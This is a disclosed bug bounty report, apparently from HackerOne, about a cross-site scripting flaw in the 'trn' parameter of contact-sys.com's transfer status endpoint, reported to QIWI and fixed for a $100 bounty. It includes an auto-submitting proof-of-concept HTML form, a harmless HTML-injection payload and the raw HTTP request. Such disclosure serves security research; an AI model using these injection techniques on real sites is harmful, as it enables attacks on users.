



19

[contact-sys.com] XSS /ajax/transfer/status trn param

Share:      

State  Resolved (Closed)



Disclosed **November 18, 2018 3:26pm +0800**

Reported To [QIWI](#)

Weakness Cross-site Scripting (XSS) - Generic

Bounty \$100

Severity  Medium (4 ~ 6.9)

Participants  

Visibility Disclosed (Full)

Collapse

TIMELINE



[bobrov](#) submitted a report to [QIWI](#).

Aug 31st (2 years ago)

Уязвимый сценарий: <https://contact-sys.com/ajax/transfer/status>

Уязвимый параметр: trn

Некорректный content-type. Нормальный пейлоад блокируется WAFом.

PoC

```
<html>
<body>
  <form id="xss" action="https://contact-sys.com/ajax/transfer/status" method="POST">
    <input type="hidden" name="trndate" value="01&#46;08&#46;2016" />
    <input type="hidden" name="trn" value="<s><h1><marquee>XSS" />
    <input type="submit" value="Submit request" />
  </form>
</body>
</html>
<script>document.getElementById( "xss" ).submit( );</script>
```

HTTP Request

```
POST /ajax/transfer/status HTTP/1.1
Host: contact-sys.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: PHPSESSID=l9ofcg7b8ehhshvsi6okbaa2d0; _ym_uid=1472633286349849091; _ym_isad=2; _ga=GA1.2.258776393
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

trndate=01.08.2016&trn=%3Cs%3E%3Ch1%3E%3Cmarquee%3EXSS
```

HTTP Response

```
043e \u043d\u0435\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 CONTACT.", "erased":0, "alotof":0}
```

[vankyver](#) changed the status to  Triaged.

Sep 1st (2 years ago)



Спасибо за отчет!



[bobrov](#) updated the severity to Medium.

Oct 6th (2 years ago)



[bobrov](#) posted a comment.

Dec 6th (2 years ago)

Уязвимость исправлена



[QIWI](#) rewarded [bobrov](#) with a **\$100** bounty.

Dec 16th (2 years ago)

Спасибо!



[vankyver](#) closed the report and changed the status to **Resolved**.

Dec 16th (2 years ago)



[bobrov](#) requested to disclose this report.

Oct 19th (2 months ago)



This report has been disclosed.

Nov 18th (23 days ago)